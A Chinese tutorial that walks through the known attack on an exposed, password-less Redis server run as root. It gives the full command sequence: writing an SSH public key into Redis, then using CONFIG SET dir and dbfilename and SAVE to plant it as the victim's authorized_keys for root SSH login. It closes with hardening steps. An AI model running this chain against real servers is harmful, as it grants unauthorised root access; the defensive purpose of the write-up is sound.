若是咱们没有启用保护模式,支持远程接入,启用默认端口6379,并且是用root用户启动的,那么基本上redis就是在裸奔了,人家分分钟搞你没商量。redis
咱们模拟一下,如今机器A(ip假设为10.100.110.11)已经有只redis在裸奔,咱们从机器B搞它。先让机器B生成它本身的公钥:centos
[root@centos ~]# cd .ssh [root@centos .ssh]# ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/id_rsa already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: b0:cd:4f:68:4d:8f:8e:57:b9:39:cb:3a:79:c3:c6:54 root@centos The key's randomart image is: +--[ RSA 2048]----+ | | | | | . . | | = + o .E | | . S + +. | | . = ..o | | . +=+ | | .o.*o | | .=o. | +-----------------+ [root@centos .ssh]# ll total 12 -rw------- 1 root root 1675 Nov 5 15:56 id_rsa -rw-r--r-- 1 root root 406 Nov 5 15:56 id_rsa.pub -rw-r--r--. 1 root root 2630 Jul 12 15:12 known_hosts
解释下,由于以前机器B已经生成过公钥,因此上面有一个是否覆盖的提示。接下来咱们把公钥单独放到一个文件pub.txt:缓存
[root@centos .ssh]# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > pub.txt [root@centos .ssh]# cat pub.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkbWGbHmhXxXYVYBjkycTkNPOMtrK+7JB3wA6/kkBeB0y35aFCsSB+S5QACMyTiTwEymAqtdMYP0qDNVapPKGYPg6hru2OUYD3jovDiCj8HIdXHq3TL/MetLTbgtPae1883hDtAgb0/TxTlwe93n69j/5FqOgbhVCCdvZv6DcdnMDqYXGiLVQiwvIKXGHRROzHpFNamWsCwzu2S7oo3ES1CF/w9wTs9AHZL6Br+Di/E/ehavS7G2VJckjTtyeyB3TXrXYLPEGw8YlhUO2xkF5CF14fB32QLVQbNOZaDXwK44/AGwsJdlyhjnd3a6OhS5zIQat7qHj+kq/IgzZX1Ykr root@centos
再解释下,由于该pub.txt文件是要做为字符串类型的redis缓存value,因此先后咱们加入空格符。dom
进入机器B的redis目录(无需启动机器B的redis),使用redis客户端命令向写入机器A的redis缓存:ssh
[root@centos redis-4.0.14]# cat /root/.ssh/pub.txt | src/redis-cli -h 10.100.110.10 -x set pub OK
解释下,这里默认端口6379无需写上。链接机器A的redis,改写它的持久化备份文件所在目录和文件名:ide
[root@centos redis-4.0.14]# src/redis-cli -h 10.100.110.11 10.100.110.11:6379> config set dir /root/.ssh OK 10.100.110.11:6379> config set dbfilename authorized_keys OK 10.100.110.11:6379> save OK
这时到机器A看看,免密登录文件authorized_keys已经生成:ui
[root@centos1 .ssh]# ll total 8 -rw-r----- 1 root root 411 Nov 5 17:05 authorized_keys -rw-r--r--. 1 root root 870 Mar 30 2017 known_hosts
内容就是机器B的公钥,因此机器B能够直接ssh 10.100.110.11登录到机器A了。加密
从上面被搞的过程能够发现有如下漏洞和规避方式:spa
一、用root用户执行redis——用普通用户code
二、使用6379默认端口——改端口号
三、容许远程接入——redis.conf把bind 127.0.0.1注释去掉,只容许本机接入,不过集群的话这样明显不行
四、没有密码,裸奔——添加密码,redis.conf去掉# requirepass foobared这样的注释#,配置你本身的密码,最好不容易破解的
五、config命令的使用——禁用config命令(rename-command CONFIG ""),或者改个名字(rename-command CONFIG hello)
其余的还有加入防火墙、禁止修改.ssh目录和authorized_keys文件等。